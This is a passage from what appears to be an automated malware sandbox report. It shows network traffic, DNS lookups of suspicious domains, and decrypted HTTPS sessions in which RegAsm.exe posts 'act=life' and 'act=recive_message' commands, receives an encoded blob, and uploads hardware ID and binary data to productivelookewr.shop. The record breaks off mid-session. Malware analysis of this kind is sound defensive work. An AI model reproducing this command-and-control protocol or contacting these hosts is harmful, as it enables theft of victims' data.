Apr 21, 2024 09:05:02.108413935 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.108443975 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.335706949 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.335777998 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.338285923 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.338305950 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.338799000 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.340133905 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.340843916 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.340892076 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.341037035 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.341084003 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.342442989 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.342498064 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.342684984 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.342731953 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.342909098 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.342957020 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.343189955 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.343230009 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.343257904 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.343298912 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.343381882 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.343415976 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.343451023 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.343471050 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.343524933 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.343631983 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.384152889 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.384452105 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.384493113 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.384538889 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.384572029 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:02.384643078 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:02.384675980 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:04.512609959 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:04.512860060 CEST	443	49749	104.21.11.250	192.168.2.4
Apr 21, 2024 09:05:04.512892962 CEST	49749	443	192.168.2.4	104.21.11.250
Apr 21, 2024 09:05:04.512953043 CEST	49749	443	192.168.2.4	104.21.11.250

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 09:04:55.909754992 CEST	55278	53	192.168.2.4	1.1.1.1
Apr 21, 2024 09:04:56.034226894 CEST	53	55278	1.1.1.1	192.168.2.4
Apr 21, 2024 09:04:56.035650015 CEST	50104	53	192.168.2.4	1.1.1.1
Apr 21, 2024 09:04:56.186405897 CEST	53	50104	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 21, 2024 09:04:55.909754992 CEST	192.168.2.4	1.1.1.1	0xf7c6	Standard query (0)	sideindexfollowragelrew.pw	A (IP address)	IN (0x0001)	false
Apr 21, 2024 09:04:56.035650015 CEST	192.168.2.4	1.1.1.1	0x6dd0	Standard query (0)	productivelookewr.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 21, 2024 09:04:56.186405897 CEST	1.1.1.1	192.168.2.4	0x6dd0	No error (0)	productivelookewr.shop		104.21.11.250	A (IP address)	IN (0x0001)	false
Apr 21, 2024 09:04:56.186405897 CEST	1.1.1.1	192.168.2.4	0x6dd0	No error (0)	productivelookewr.shop		172.67.150.207	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

productivelookewr.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	104.21.11.250	443	5104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 07:04:56 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: productivelookewr.shop
2024-04-21 07:04:56 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-21 07:04:56 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 07:04:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rhjtmhnl94hm02384gc26c6v3k; expires=Thu, 15-Aug-2024 00:51:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YLg%2B6Rqc1GFOhEms5ynnDAnHPi86xtJR0mGN4eWpOPPAC%2F13OfnKFuuf88t3RXVy5UG8tA8W84P%2F8nJC9s%2FyQ6CV%2F1XvEzbMrUwmH5JT5T3U3YaURPyxNe4hfEWoIG%2F5hcKeI0hCd5f4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b85d9df8e5084-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 07:04:56 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-21 07:04:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49743	104.21.11.250	443	5104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 07:04:57 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 62 Host: productivelookewr.shop
2024-04-21 07:04:57 UTC	62	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 40 77 61 72 65 66 72 6f 6d 77 61 72 65 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--@warefromware&j=default
2024-04-21 07:04:57 UTC	806	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 07:04:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=769l6cb88vb9dmdq9lgafe5a4a; expires=Thu, 15-Aug-2024 00:51:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7eT21HwSj0kgLBMDOjVTh2BQIsRXp6DQ%2F6yBpxDq27sFrFy9j5eX%2B69x%2FQxBy0fzy66xo%2BDsds8fg4WsS0Q2p3kduLVxmeUJzRWD6q0Vb085qIcIPSQNbPQcXKANfoqMTYbhoYsm3Ppg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b85dead9a4519-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 07:04:57 UTC	563	IN	Data Raw: 33 39 65 63 0d 0a 30 7a 41 6b 79 2b 41 4d 62 7a 67 55 6f 30 56 62 79 59 4b 36 34 72 66 4e 6a 74 75 4b 34 38 7a 73 6e 71 6b 52 59 67 38 63 6d 39 47 6f 4f 69 33 70 6c 69 35 56 47 43 43 50 54 31 4c 72 38 64 2f 41 6a 65 33 36 71 66 2b 47 34 4f 61 58 69 33 41 47 4c 53 61 37 74 37 4a 63 56 36 37 4d 42 6d 59 61 65 64 74 6e 59 65 6e 5a 73 4f 76 4d 78 34 66 53 71 49 61 69 7a 71 53 4a 4d 78 56 71 66 76 36 70 70 31 56 4b 75 49 6c 6a 41 58 68 35 78 6a 45 36 70 4f 50 4a 69 5a 6d 6b 34 66 6d 6d 36 63 58 6c 76 4d 78 72 51 44 55 38 75 5a 79 32 52 45 57 47 67 58 38 45 47 6a 69 70 54 46 4c 72 35 38 37 41 6a 65 32 73 68 36 69 54 72 5a 37 2f 78 47 49 2b 4c 53 62 67 6a 66 46 5a 55 4b 36 53 62 52 74 52 65 38 30 32 42 2b 75 34 6a 4e 4b 48 2f 62 37 72 39 38 48 47 35 65 4f 6a 47 Data Ascii: 39ec0zAky+AMbzgUo0VbyYK64rfNjtuK48zsnqkRYg8cm9GoOi3pli5VGCCPT1Lr8d/Aje36qf+G4OaXi3AGLSa7t7JcV67MBmYaedtnYenZsOvMx4fSqIaizqSJMxVqfv6pp1VKuIljAXh5xjE6pOPJiZmk4fmm6cXlvMxrQDU8uZy2REWGgX8EGjipTFLr587Aje2sh6iTrZ7/xGI+LSbgjfFZUK6SbRtRe802B+u4jNKH/b7r98HG5eOjG
2024-04-21 07:04:57 UTC	1369	IN	Data Raw: 68 37 72 77 6d 67 44 57 33 76 42 4e 54 47 67 36 39 32 53 33 71 62 68 74 4f 69 4d 70 49 48 2f 79 33 51 4b 5a 33 48 7a 74 37 78 66 51 4b 6d 43 4c 6b 4d 79 48 61 70 6e 50 72 4f 67 67 4d 4b 56 6a 4f 6d 70 37 34 32 34 7a 4d 61 4c 47 32 74 79 4d 4a 4c 78 38 7a 6f 74 73 4f 6f 46 5a 68 70 78 7a 57 64 68 36 61 44 51 68 64 61 73 35 37 62 72 69 61 57 63 2f 4e 6c 31 44 57 68 73 2f 37 61 2f 57 45 57 37 69 47 41 4c 57 58 2f 4b 4c 6a 79 73 35 4a 6a 4f 76 63 53 48 2b 65 2b 5a 37 74 61 2b 69 31 49 4e 5a 6e 4c 7a 70 4c 45 53 4c 73 4b 64 49 47 55 78 62 36 6c 4d 55 75 76 6e 31 4d 43 4e 37 61 79 39 36 59 57 76 69 76 4c 46 64 77 78 72 63 50 53 38 74 31 68 47 72 6f 68 6d 42 56 74 37 79 69 67 35 72 75 33 63 68 74 6d 75 36 66 6d 6d 36 63 58 6c 76 4d 78 72 51 44 55 38 75 5a 32 32 Data Ascii: h7rwmgDW3vBNTGg692S3qbhtOiMpIH/y3QKZ3Hzt7xfQKmCLkMyHapnPrOggMKVjOmp7424zMaLG2tyMJLx8zotsOoFZhpxzWdh6aDQhdas57briaWc/Nl1DWhs/7a/WEW7iGALWX/KLjys5JjOvcSH+e+Z7ta+i1INZnLzpLESLsKdIGUxb6lMUuvn1MCN7ay96YWvivLFdwxrcPS8t1hGrohmBVt7yig5ru3chtmu6fmm6cXlvMxrQDU8uZ22
2024-04-21 07:04:57 UTC	1369	IN	Data Raw: 4e 38 43 6c 4e 2f 79 79 59 33 70 4f 76 55 68 63 65 6b 34 37 48 6e 67 4b 4f 44 39 38 39 7a 51 43 4d 57 6b 74 6a 78 56 56 37 70 32 69 78 4e 65 33 76 4f 4e 54 71 36 6f 75 32 44 32 36 48 72 72 36 6a 70 78 5a 47 79 6f 78 67 5a 42 52 57 53 38 37 5a 65 42 76 48 41 4c 67 78 57 65 73 41 6f 50 36 48 6f 32 34 48 48 70 75 4f 78 35 34 69 76 6a 66 6a 4b 65 52 4a 2f 66 76 57 68 76 56 68 41 70 6f 39 69 54 52 51 65 71 6b 78 35 72 50 69 59 32 4a 66 76 78 72 72 38 67 71 54 4d 79 63 68 39 44 6d 70 6f 75 64 76 61 54 51 6a 42 36 58 64 6c 4d 52 32 42 49 44 58 72 75 4a 72 41 32 4b 37 6b 76 2f 71 4f 6f 34 33 79 78 58 77 46 59 6e 62 35 73 37 78 58 51 71 4b 4a 62 51 42 65 5a 4d 73 6e 4d 61 37 68 30 6f 71 56 34 59 54 53 67 38 47 70 6c 72 79 54 4d 55 42 63 61 66 4c 78 68 46 46 49 70 Data Ascii: N8ClN/yyY3pOvUhcek47HngKOD989zQCMWktjxVV7p2ixNe3vONTq6ou2D26Hrr6jpxZGyoxgZBRWS87ZeBvHALgxWesAoP6Ho24HHpuOx54ivjfjKeRJ/fvWhvVhApo9iTRQeqkx5rPiY2Jfvxrr8gqTMych9DmpoudvaTQjB6XdlMR2BIDXruJrA2K7kv/qOo43yxXwFYnb5s7xXQqKJbQBeZMsnMa7h0oqV4YTSg8GplryTMUBcafLxhFFIp
2024-04-21 07:04:57 UTC	1369	IN	Data Raw: 66 65 38 59 73 4f 72 6e 79 32 34 54 62 6f 36 7a 33 67 4f 72 46 7a 76 76 54 4d 31 67 76 50 74 79 6b 73 6b 4a 41 71 73 49 47 5a 6b 55 34 71 55 77 67 77 34 75 7a 77 4e 4b 6a 72 4f 47 71 77 61 36 41 38 4d 42 30 43 32 5a 36 2f 62 4f 38 57 55 69 6e 69 32 49 46 56 6e 48 54 4b 6a 79 6a 36 74 47 46 32 61 4c 76 71 2b 75 41 37 73 43 55 6f 42 68 41 61 6d 61 35 36 2f 4d 53 59 5a 71 31 54 55 30 79 48 64 35 70 55 63 44 35 73 4f 75 2b 37 2b 75 31 71 4e 6e 73 7a 76 33 44 64 41 35 70 62 50 65 68 76 31 56 47 72 34 70 6d 43 6c 5a 34 7a 7a 55 78 71 75 44 57 6a 39 32 6d 36 4c 6a 73 68 61 4b 4a 76 49 55 62 61 77 59 2b 2f 71 76 78 43 67 54 70 71 6d 30 58 51 44 54 76 4c 44 6d 73 38 4d 36 62 6c 63 65 48 70 71 62 70 78 5a 65 55 6f 42 68 41 61 6e 4b 35 36 2f 4d 53 51 71 4b 49 5a 77 Data Ascii: fe8YsOrny24Tbo6z3gOrFzvvTM1gvPtykskJAqsIGZkU4qUwgw4uzwNKjrOGqwa6A8MB0C2Z6/bO8WUini2IFVnHTKjyj6tGF2aLvq+uA7sCUoBhAama56/MSYZq1TU0yHd5pUcD5sOu+7+u1qNnszv3DdA5pbPehv1VGr4pmClZ4zzUxquDWj92m6LjshaKJvIUbawY+/qvxCgTpqm0XQDTvLDms8M6blceHpqbpxZeUoBhAanK56/MSQqKIZw
2024-04-21 07:04:57 UTC	1369	IN	Data Raw: 4c 54 43 6f 37 4e 36 42 32 36 2f 69 75 61 6a 50 78 75 57 58 69 33 51 59 4c 53 61 37 38 35 46 5a 55 4c 79 42 66 67 74 64 65 6f 46 50 55 72 53 75 73 4f 76 4d 78 34 66 53 71 49 61 69 7a 71 53 4a 4d 77 35 2f 65 76 69 7a 75 56 74 4b 6f 6f 70 38 43 6c 31 39 7a 79 6b 79 72 2b 7a 52 69 39 79 71 34 4c 6a 6a 69 4b 75 4b 39 73 31 2b 51 43 4d 57 6b 74 6a 78 56 56 37 70 32 69 78 4e 64 6e 58 4f 4c 48 6e 44 69 38 66 4f 76 63 54 31 30 59 50 71 37 6f 6e 77 69 79 74 43 4c 58 6e 78 75 37 39 52 51 4b 4b 4f 59 67 78 54 63 4d 51 76 50 71 54 6e 30 59 66 56 71 66 36 2b 35 59 69 75 68 66 58 42 64 77 46 6d 50 72 66 62 32 6a 6b 47 72 70 6f 75 56 52 67 32 38 79 41 76 75 2b 4f 59 36 4c 36 77 6f 74 4b 41 36 72 66 6d 6c 36 41 7a 42 32 45 2b 6f 66 48 78 58 31 53 6f 68 33 77 4a 56 58 33 Data Ascii: LTCo7N6B26/iuajPxuWXi3QYLSa785FZULyBfgtdeoFPUrSusOvMx4fSqIaizqSJMw5/evizuVtKoop8Cl19zykyr+zRi9yq4LjjiKuK9s1+QCMWktjxVV7p2ixNdnXOLHnDi8fOvcT10YPq7onwiytCLXnxu79RQKKOYgxTcMQvPqTn0YfVqf6+5YiuhfXBdwFmPrfb2jkGrpouVRg28yAvu+OY6L6wotKA6rfml6AzB2E+ofHxX1Soh3wJVX3
2024-04-21 07:04:57 UTC	1369	IN	Data Raw: 4f 50 58 67 39 61 75 35 71 76 36 6a 61 65 47 2b 63 64 34 44 6d 74 73 2f 37 79 34 55 55 57 67 68 57 59 42 55 48 58 47 5a 33 66 44 69 37 50 41 30 72 65 73 34 61 72 42 6a 5a 6e 73 78 6a 4e 6f 42 6d 47 33 32 39 70 4c 4c 73 4c 70 4c 67 70 57 4e 70 6c 6c 65 61 50 74 30 49 72 52 71 4f 47 2b 37 6f 69 38 68 2f 6e 46 63 77 52 6d 63 66 2b 33 73 6c 4a 55 72 34 5a 6d 44 6c 64 37 7a 79 51 39 36 36 36 77 36 37 37 76 36 36 47 6f 32 65 7a 4f 7a 73 5a 39 47 32 4a 35 36 4c 6e 78 4f 69 32 32 7a 41 5a 6d 51 78 36 71 54 48 6d 73 37 4a 6a 59 6c 2b 2f 6f 74 2f 71 4b 72 34 58 33 78 58 51 50 61 48 54 35 76 4c 56 52 53 4b 4b 44 62 51 56 58 65 38 38 74 4d 4b 4c 6e 31 49 54 53 37 36 4c 52 67 2b 72 75 69 65 53 4c 4b 30 49 74 56 64 69 65 6e 56 56 63 36 65 6f 46 45 68 51 65 71 6a 35 52 Data Ascii: OPXg9au5qv6jaeG+cd4Dmts/7y4UUWghWYBUHXGZ3fDi7PA0res4arBjZnsxjNoBmG329pLLsLpLgpWNplleaPt0IrRqOG+7oi8h/nFcwRmcf+3slJUr4ZmDld7zyQ9666w677v66Go2ezOzsZ9G2J56LnxOi22zAZmQx6qTHms7JjYl+/ot/qKr4X3xXQPaHT5vLVRSKKDbQVXe88tMKLn1ITS76LRg+ruieSLK0ItVdienVVc6eoFEhQeqj5R
2024-04-21 07:04:57 UTC	1369	IN	Data Raw: 62 59 76 36 7a 52 67 35 37 67 35 70 66 53 47 32 73 47 50 76 36 2f 38 51 6f 45 36 59 52 6e 43 31 31 77 7a 7a 55 38 72 65 2f 58 69 64 79 72 35 4c 72 6f 68 61 71 4a 2b 63 68 2f 43 32 70 39 39 72 65 34 58 45 2b 6d 77 69 42 6c 4d 52 32 42 49 43 48 72 75 4a 72 41 39 4c 54 76 74 65 58 42 78 75 58 6a 68 52 74 72 64 42 61 53 32 50 46 56 53 75 6e 61 4c 45 31 57 65 4d 51 6e 4d 36 33 6b 33 59 62 66 71 75 79 79 36 34 36 71 69 50 6a 45 63 77 74 6b 66 2f 2b 32 75 31 6c 41 70 49 46 6f 43 78 6f 34 71 55 78 53 36 2b 66 41 77 49 33 74 72 4a 6e 7a 6a 4b 4b 4a 76 4b 4d 59 48 79 4d 57 6b 71 72 5a 4f 53 33 70 68 57 4a 4e 41 6a 53 42 4c 44 57 76 35 39 69 4e 31 71 66 70 76 65 4b 45 72 6f 62 75 77 33 4d 48 66 32 7a 35 75 72 52 65 52 61 6d 47 61 41 52 63 64 63 56 6e 64 38 4f 4c 73 Data Ascii: bYv6zRg57g5pfSG2sGPv6/8QoE6YRnC11wzzU8re/Xidyr5LrohaqJ+ch/C2p99re4XE+mwiBlMR2BICHruJrA9LTvteXBxuXjhRtrdBaS2PFVSunaLE1WeMQnM63k3Ybfquyy646qiPjEcwtkf/+2u1lApIFoCxo4qUxS6+fAwI3trJnzjKKJvKMYHyMWkqrZOS3phWJNAjSBLDWv59iN1qfpveKErobuw3MHf2z5urReRamGaARcdcVnd8OLs
2024-04-21 07:04:57 UTC	1369	IN	Data Raw: 73 34 61 72 42 6d 34 33 79 78 58 51 57 66 44 50 65 76 62 5a 54 55 4c 6d 56 59 55 30 55 48 71 70 4d 65 61 32 67 67 4d 4b 47 34 59 54 53 67 38 47 71 6e 37 79 54 4d 56 41 2f 4a 61 7a 67 35 67 49 55 77 65 6c 78 51 7a 49 64 32 45 39 53 77 4b 44 4f 77 49 33 74 76 76 65 41 36 73 58 4f 37 6f 73 72 51 69 30 35 2b 71 47 6a 56 45 57 2f 67 53 6b 7a 5a 46 48 58 4c 54 36 37 35 38 2b 50 6c 65 47 45 30 6f 50 42 6f 63 36 6b 69 55 70 6f 42 68 57 53 38 37 68 56 58 62 69 55 59 78 31 64 4e 71 6c 4d 55 70 53 75 73 4f 75 2b 37 2f 54 35 73 4d 50 75 75 2f 2f 46 66 51 64 37 62 37 53 55 70 31 68 42 75 59 56 35 41 68 6f 34 71 55 78 53 36 2b 61 59 32 4a 66 38 6f 74 47 44 36 75 36 4b 37 59 73 72 51 6a 30 73 6f 75 62 69 42 52 62 37 36 67 55 53 46 42 36 71 50 6c 48 41 69 35 69 57 6c 66 Data Ascii: s4arBm43yxXQWfDPevbZTULmVYU0UHqpMea2ggMKG4YTSg8Gqn7yTMVA/Jazg5gIUwelxQzId2E9SwKDOwI3tvveA6sXO7osrQi05+qGjVEW/gSkzZFHXLT6758+PleGE0oPBoc6kiUpoBhWS87hVXbiUYx1dNqlMUpSusOu+7/T5sMPuu//FfQd7b7SUp1hBuYV5Aho4qUxS6+aY2Jf8otGD6u6K7YsrQj0soubiBRb76gUSFB6qPlHAi5iWlf
2024-04-21 07:04:57 UTC	1369	IN	Data Raw: 77 61 32 63 37 6f 52 69 46 6d 42 75 2f 76 2b 35 51 30 75 6c 77 69 42 50 47 6a 72 46 4c 44 57 75 35 38 6a 50 78 37 2f 6e 74 66 37 4e 71 70 79 38 68 54 46 41 66 48 58 32 6f 62 39 56 43 62 69 55 59 78 31 5a 63 38 5a 72 4d 62 72 74 31 4d 43 62 37 61 79 73 34 34 32 6f 67 2b 6d 45 59 68 5a 75 61 50 37 2f 75 55 4e 4c 70 63 4a 52 51 7a 49 64 71 6d 63 68 36 37 69 61 77 4f 43 73 34 72 66 76 6c 37 2f 44 33 4d 42 2f 41 32 46 2f 2f 76 50 2f 4f 69 33 43 77 6d 68 4e 41 6a 53 53 61 56 48 41 69 35 69 45 78 4f 2b 30 2b 37 6a 54 39 64 75 76 6e 43 4e 53 42 52 58 6d 2f 64 6b 35 58 38 48 70 42 55 31 4d 4e 70 6c 6c 61 2b 57 49 73 2b 75 56 76 61 7a 68 71 73 48 70 6a 65 37 5a 64 51 4e 37 66 62 36 4e 6a 31 4e 4c 70 73 35 67 42 6c 70 78 30 54 45 69 35 2b 6a 62 6d 73 2b 52 30 70 4c Data Ascii: wa2c7oRiFmBu/v+5Q0ulwiBPGjrFLDWu58jPx7/ntf7Nqpy8hTFAfHX2ob9VCbiUYx1Zc8ZrMbrt1MCb7ays442og+mEYhZuaP7/uUNLpcJRQzIdqmch67iawOCs4rfvl7/D3MB/A2F//vP/Oi3CwmhNAjSSaVHAi5iExO+0+7jT9duvnCNSBRXm/dk5X8HpBU1MNplla+WIs+uVvazhqsHpje7ZdQN7fb6Nj1NLps5gBlpx0TEi5+jbms+R0pL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49744	104.21.11.250	443	5104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 07:04:57 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18171 Host: productivelookewr.shop
2024-04-21 07:04:57 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 37 42 43 31 33 32 30 35 42 36 43 43 38 44 31 32 43 36 32 34 31 34 43 31 42 35 32 33 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 77 61 72 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"037BC13205B6CC8D12C62414C1B52377--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@ware
2024-04-21 07:04:57 UTC	2840	OUT	Data Raw: a1 79 41 bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 Data Ascii: yA~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm
2024-04-21 07:04:58 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 07:04:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6utmnn0a2llnlv944o9i646ftd; expires=Thu, 15-Aug-2024 00:51:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CZNHjf6eo947p9W1k%2FvG6sLAv7VM3oRn42l86La%2BfjCuq%2FjvT3FPahxAAotHL%2FLay0mZIfzYElgjYZ%2BA6w11st05TirGWKJ6nHoUH8g%2BTFW5bfP2h2pu5m6EtTn52UCYEA1hR%2Fh0MBXN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b85e2da757bc9-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 07:04:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 07:04:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	104.21.11.250	443	5104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 07:04:58 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8792 Host: productivelookewr.shop
